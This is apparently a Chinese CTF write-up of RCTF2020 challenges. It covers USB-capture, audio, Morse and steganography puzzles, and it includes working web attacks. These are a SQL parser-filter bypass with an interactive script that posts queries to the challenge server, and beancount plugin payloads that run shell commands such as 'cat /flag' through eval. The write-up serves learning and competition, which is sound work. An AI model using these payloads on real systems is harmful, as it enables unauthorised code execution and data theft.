博客原文
https://blog.jeffz.cn/2020/06/01/RCTF2020-Web-Misc/
Switch PRO Controller
这题张佬@SJoshua直接拿出Pro手柄分析出了手柄的协议,找到按下按键的相对时间出的flag
但是如果没有Pro手柄怎么做出这道题?于是我决定等官方wp出来自己复现一下
出题人wp:https://github.com/Littlefisher619/MyCTFChallenges/blob/master/CTFChallengeSwitch/solution_zhcn.md
通信协议
https://github.com/ToadKing/switch-pro-x/blob/master/switch-pro-x/ProControllerDevice.cpp
这里我们需要知道按下确认键,也就是A键的相对时间,查阅上述源码得知
由于是USB包,所以这里A键的掩码为0x00000800
然后控制器数据是 0x30
开头的
也就是 30:**:**:*8:**:...
然后我们开始处理pcapng包,为了方便编写脚本处理,将其导出为json
从中抽取一个有传输数据的帧来进行分析
{
"_index": "packets-2020-03-19",
"_type": "pcap_file",
"_score": null,
"_source": {
"layers": {
"frame": {
"frame.interface_id": "0",
"frame.interface_id_tree": {
"frame.interface_name": "wireshark_extcap2904"
},
"frame.encap_type": "152",
"frame.time": "Mar 19, 2020 13:48:22.479099000 中国标准时间",
"frame.offset_shift": "0.000000000",
"frame.time_epoch": "1584596902.479099000",
"frame.time_delta": "0.015945000",
"frame.time_delta_displayed": "0.015945000",
"frame.time_relative": "5.008677000",
"frame.number": "289",
"frame.len": "91",
"frame.cap_len": "91",
"frame.marked": "0",
"frame.ignored": "0",
"frame.protocols": "usb"
},
"usb": {
"usb.src": "1.44.1",
"usb.addr": "1.44.1",
"usb.dst": "host",
"usb.addr": "host",
"usb.usbpcap_header_len": "27",
"usb.irp_id": "0xffff8d8e004b0420",
"usb.usbd_status": "0",
"usb.function": "9",
"usb.irp_info": "0x00000001",
"usb.irp_info_tree": {
"usb.irp_info.reserved": "0x00000000",
"usb.irp_info.direction": "0x00000001"
},
"usb.bus_id": "1",
"usb.device_address": "44",
"usb.endpoint_address": "0x00000081",
"usb.endpoint_address_tree": {
"usb.endpoint_address.direction": "1",
"usb.endpoint_address.number": "1"
},
"usb.transfer_type": "0x00000001",
"usb.data_len": "64",
"usb.request_in": "286",
"usb.time": "0.023867000",
"usb.bInterfaceClass": "3"
},
"usb.capdata": "30:fa:91:00:80:00:11:88:77:cb:97:71:0c:06:04:45:fd:5a:0f:d8:ff:d0:ff:cd:ff:0c:04:48:fd:5d:0f:d5:ff:d0:ff:d1:ff:0d:04:47:fd:59:0f:d3:ff:cd:ff:d5:ff:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00"
}
}
}
我们只需要以上的几个数据
- _source
- layers
- frame
- frame.time_relative (相对时间)
- usb.capdata (传输的数据)
- frame
- layers
编写脚本
import json
import cv2
import os
DELTA = 6
# 与视频中按下第一个A键
JSONFILE = 'data.json'
VEDIOFILE = 'screenrecord.mp4'
FRAMES_FOLDER = 'frames'
if not os.path.exists(FRAMES_FOLDER):
os.makedirs(FRAMES_FOLDER)
# 获取按下A键时间
with open(JSONFILE, 'r', encoding="utf-8") as f:
packets = json.load(f)
pressed = False
frames_time = []
for frame in packets:
try:
layers = frame['_source']['layers']
time = float(layers['frame']['frame.time_relative'])
capdata = bytearray.fromhex(layers['usb.capdata'].replace(':', ' '))
except:
continue
if capdata[0] == 0x30:
if not pressed and capdata[3] & 0x8:
pressed = True
press_time = (time+DELTA)*1000
frames_time.append(press_time) # 开始按下A键的时间
print(f'{time} : press')
elif pressed and not capdata[3] & 0x8:
pressed = False
release_time = (time+DELTA)*1000
# 设置为按下A键的时间的中间值
frames_time[-1] = int((frames_time[-1]+release_time)/2)
print(f'{time} : release\n')
# 提取对应帧
cap = cv2.VideoCapture(VEDIOFILE)
for i, time in enumerate(frames_time):
cap.set(cv2.CAP_PROP_POS_MSEC, time)
ret, frame = cap.read()
idx = str(i).zfill(3)
cv2.imwrite(f'{FRAMES_FOLDER}/{idx}.jpg', frame)
查看图片得到flag
RCTF{5witch-1s-4m4z1ng-m8dw65}
按照题目要求将
-
换成_
得到RCTF{5witch_1s_4m4z1ng_m8dw65}
Listen
提示1804
参考https://www.freebuf.com/articles/wireless/167093.html 的密码表
然后找个音乐人
用耳朵扒谱
得到以下谱子
播放音频获取音频文件中的琴键代表的音符(C调,1是do,8是高八度的do,9是re,a是mi,b是fa,c是sol)
45678975cba984642576576756abc9a98765a9a89456576879cba98798a9576879a98765798a943322a9876576756
结合tips.txt
The flag format is "RCTF{xxxxxxxxxx}"
PS:All letters are lowercase
对着密码表解出flag
RCTF{ufindthemusicsecret}
mysql_interface
https://mysql-interface.rctf2020.rois.io
...
import (
"github.com/pingcap/parser" // v3.1.2-0.20200507065358-a5eade012146+incompatible
_ "github.com/pingcap/tidb/types/parser_driver" // v1.1.0-beta.0.20200520024639-0414aa53c912
)
var isForbidden = [256]bool{}
const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"
func init() {
for i := 0; i < len(forbidden); i++ {
isForbidden[forbidden[i]] = true
}
}
func allow(payload string) bool {
if len(payload) < 3 || len(payload) > 128 {
return false
}
for i := 0; i < len(payload); i++ {
if isForbidden[payload[i]] {
return false
}
}
if _, _, err := parser.New().Parse(payload, "", ""); err != nil {
return true
}
return false
}
// do query...
...
源码是golang
分析题意
不允许使用 "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\|:;'"/?<>,\xa0" 这些字符,进行select flag from flag
还要绕过paser,使parser报错,但是又可以执行
简单看了下paser的源码,发现它使用关键字解析的,我们可以构造一些它不存在的关键字让它报错,但是又要mysql能执行的语句,然后就想到了注释
显然
select flag from flag --\x20
这个注释符是会被paser解析到的
但是我们可以构造
select flag from flag --\x04
(这里\x04
还可以用别的,比如\x01
,\x02
都可以)
(别的队用的 select flag from .flag
也可以绕过,还有大佬用handler
做出来了)
从而使paser解析错误,又让mysql可以执行
然后将队友@Tyaoo
的脚本稍微改改就出flag了
import hashlib
import requests as rq
import re
def cartesian_product():
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return [[x,y,z]for x in chars for y in chars for z in chars]
def get_code():
cartesian = cartesian_product()
url = 'https://mysql-interface.rctf2020.rois.io'
res = rq.get(url)
hash = re.findall(r'\) = ([0-9a-f]+?)</div>', res.text)[0]
print(f"[+] hash: {hash}")
prefix = 'RCTF2020_mysql_interface_'
codes = []
for i in cartesian:
i = ''.join(i)
plain = f"{prefix}{i}"
if hashlib.sha256(plain.encode()).hexdigest() == hash:
print(f"[+] code: {i}")
return i
def sql(payload:str="select flag from flag --\x04"):
url = 'https://mysql-interface.rctf2020.rois.io'
# payload = "select x"
powv = get_code()
data = {"pow":(None, powv), "sql":(None, payload)}
res = rq.post(url, files=data)
print(res.text)
def check():
wl = []
for i in range(127):
i = chr(i)
if i in "\x00\t\n\v\f\r`~!@#$%^&*()_=[]\{\}\\|:;'\"/?<>,\xa0":
continue
wl.append(i)
print(wl)
check()
sql()
while True:
sql(input('sql>'))
其它的解法还可以看看出题人的 https://github.com/tr3ee/RCTF2020/blob/master/mysql_interface/solution/README_zh.md
bean
账本rce
可以用plugin
使用方法 https://beancount.github.io/docs/06_beancount_language_syntax.html#plugins
plugin "beancount.plugins.module_name" "configuration data"
接着搜索github库 https://github.com/beancount/beancount
- beancount/plugins/commodity_attr.py
- beancount/plugins/check_average_cost.py
- beancount/plugins/divert_expenses.py
- beancount/plugins/ira_contribs.py
发现这几个库都调用了eval()
尝试一下
plugin "beancount.plugins.commodity_attr" "__import__('os').system('ls')"
plugin "beancount.plugins.check_average_cost" "__import__('os').system('ls')"
plugin "beancount.plugins.divert_expenses" "__import__('os').system('ls')"
plugin "beancount.plugins.ira_contribs" "__import__('os').system('ls')"
发现都可以rce
随便用一个getflag
plugin "beancount.plugins.check_average_cost" "__import__('os').system('cat /flag')"
Animal
Message
int Pin=8;
void setup() {
pinMode(Pin,OUTPUT);
}
void fun1() // -.-. C
{
digitalWrite(Pin, HIGH);
delay(500);
digitalWrite(Pin, LOW);
delay(100);
digitalWrite(Pin, HIGH);
delay(200);
digitalWrite(Pin, LOW);
delay(100);
digitalWrite(Pin, HIGH);
delay(500);
digitalWrite(Pin, LOW);
delay(100);
digitalWrite(Pin, HIGH);
delay(200);
digitalWrite(Pin, LOW);
delay(100);
}
void fun2() // --.- Q
{
digitalWrite(Pin, HIGH);
delay(500);
digitalWrite(Pin, LOW);
delay(100);
digitalWrite(Pin, HIGH);
delay(500);
digitalWrite(Pin, LOW);
delay(100);
digitalWrite(Pin, HIGH);
delay(200);
digitalWrite(Pin, LOW);
delay(100);
digitalWrite(Pin, HIGH);
delay(500);
digitalWrite(Pin, LOW);
delay(100);
}
void fun3() // -.. D
{
digitalWrite(Pin, HIGH);
delay(500);
digitalWrite(Pin, LOW);
delay(100);
digitalWrite(Pin, HIGH);
delay(200);
digitalWrite(Pin, LOW);
delay(100);
digitalWrite(Pin, HIGH);
delay(200);
digitalWrite(Pin, LOW);
delay(100);
}
void fun4() // . E
{
digitalWrite(Pin, HIGH);
delay(200);
digitalWrite(Pin, LOW);
delay(100);
}
void fun5() // -.- K
{
digitalWrite(Pin, HIGH);
delay(500);
digitalWrite(Pin, LOW);
delay(100);
digitalWrite(Pin, HIGH);
delay(200);
digitalWrite(Pin, LOW);
delay(100);
digitalWrite(Pin, HIGH);
delay(500);
digitalWrite(Pin, LOW);
delay(100);
}
void fun6() // ... S
{
digitalWrite(Pin, HIGH);
delay(200);
digitalWrite(Pin, LOW);
delay(100);
digitalWrite(Pin, HIGH);
delay(200);
digitalWrite(Pin, LOW);
delay(100);
digitalWrite(Pin, HIGH);
delay(200);
digitalWrite(Pin, LOW);
delay(100);
}
void fun7() // ---.. 8
{
digitalWrite(Pin, HIGH);
delay(500);
digitalWrite(Pin, LOW);
delay(100);
digitalWrite(Pin, HIGH);
delay(500);
digitalWrite(Pin, LOW);
delay(100);
digitalWrite(Pin, HIGH);
delay(500);
digitalWrite(Pin, LOW);
delay(100);
digitalWrite(Pin, HIGH);
delay(200);
digitalWrite(Pin, LOW);
delay(100);
digitalWrite(Pin, HIGH);
delay(200);
digitalWrite(Pin, LOW);
delay(100);
}
void loop() {
// CQDEKS8
fun1();
fun2();
fun1();
fun2();
fun1();
fun2();
fun3();
fun4();
fun5();
// CQCQCQDEK
fun3();
fun4();
fun5();
// DEK
fun7();
fun7();
// 88
fun6();
fun5();
// SK
fun6();
fun5();
// SK
}
摩斯电报,高电平延时500ms代表 -
,高电平延时200代表 .
具体解码看上面注释
拼起来就是CQCQCQDEKDEK88SKSK
根据以下资料
http://blog.sina.com.cn/s/blog_4b8e61600100al5m.html
https://www.douban.com/note/249330737/
http://www.wendangku.net/doc/eb93d16e58fafab069dc0288-4.html
解出电报码的含义
CQCQCQ(seek you *3 ) DE(from of) K DE(from of) K 88 SK(over) SK(over)
主体消息部分是 88
,含义是love and kisses
尝试密码 Love and kisses
解出压缩包,得到一个蓝牙日志和QR码
用wireshark提取蓝牙日志,得到以下资源
- S00429-15114219.png
- _0ServerSendToService.txt
- 1.png
- secret.jpg
其中最让人在意的莫过于那张secret.jpg
steghide extract -sf secret.jpg
使用 steghide
无密码,解出 flag.txt
内容为一串base64: aHR0cHMlM0EvL216bC5sYS8yV0VqbjVh
解码得到: https://mzl.la/2WEjn5a
是一个 EmojiEncrypt 的网站
这里可以选择一个个去尝试,奇怪的是这里不是正确的emoji也能得到flag(复制到剪切板发现其实多了一堆emoji),然后解出 RCTF{N0t_1s_@_B@ss}
还有一条正道就是解决QRcode的难题,这里这个QRcode不能通过正常的方法扫描
(这里吹一下QQ,扫出来了一堆东西,虽然是乱码,但是证明是有东西的
我们可以通过 ZXing 扫出来Hex码
如下
4026c51005100fe56477232003000320030003000350030003800310033003400300020003100780031000000b6ec55006e006b006e006f0077006e0000000000000044c555006e006b006e006f0077006e000000000000001931cf8582c545bfc6d543c3afbfcfdfefcc0a0900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055005000000000000000000000000767993390000000000000000000000009399999906000000000000000000000036979963000000000000005100000000009539000000000005001511000000000070690000000050111121120000000000305900000000001522225100000000006003000000000050212201000000005015115505000000001511050000000015212211110500000000120500000050212222222211050000501205000000102222222222221105001022050000001522222222222212a1001a220500000015222222222222222211211205000000152222222222222222222212050000001522a1212222222222222212050000001622002122222222222222140500000015221121222222222222221400000000152222222222222222224458000000001522222222222222224484010000000040444424222222424484480000000000a08888884844848888885400000000000081888888888888881800000000000000a0414444444444110500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ec11ec11
保存为文件
发现这个图形挺抽象的,尝试编写脚本将其转成图片
from PIL import Image
with open('QR.dat','rb') as f:
dat = f.read()
print(dat)
img = Image.new('L',(160,400),(255))
i=0
while i<len(dat):
p = Image.new('L',(10,10),(dat[i]))
img.paste(p,((i%16)*10,(i//16)*10,(i%16)*10+10,(i//16)*10+10))
i+=1
img.save('out.png')
img.show()
得到一条喷水的鲸,所以解码的emoji就是鲸
解码之后同样得到 RCTF{N0t_1s_@_B@ss}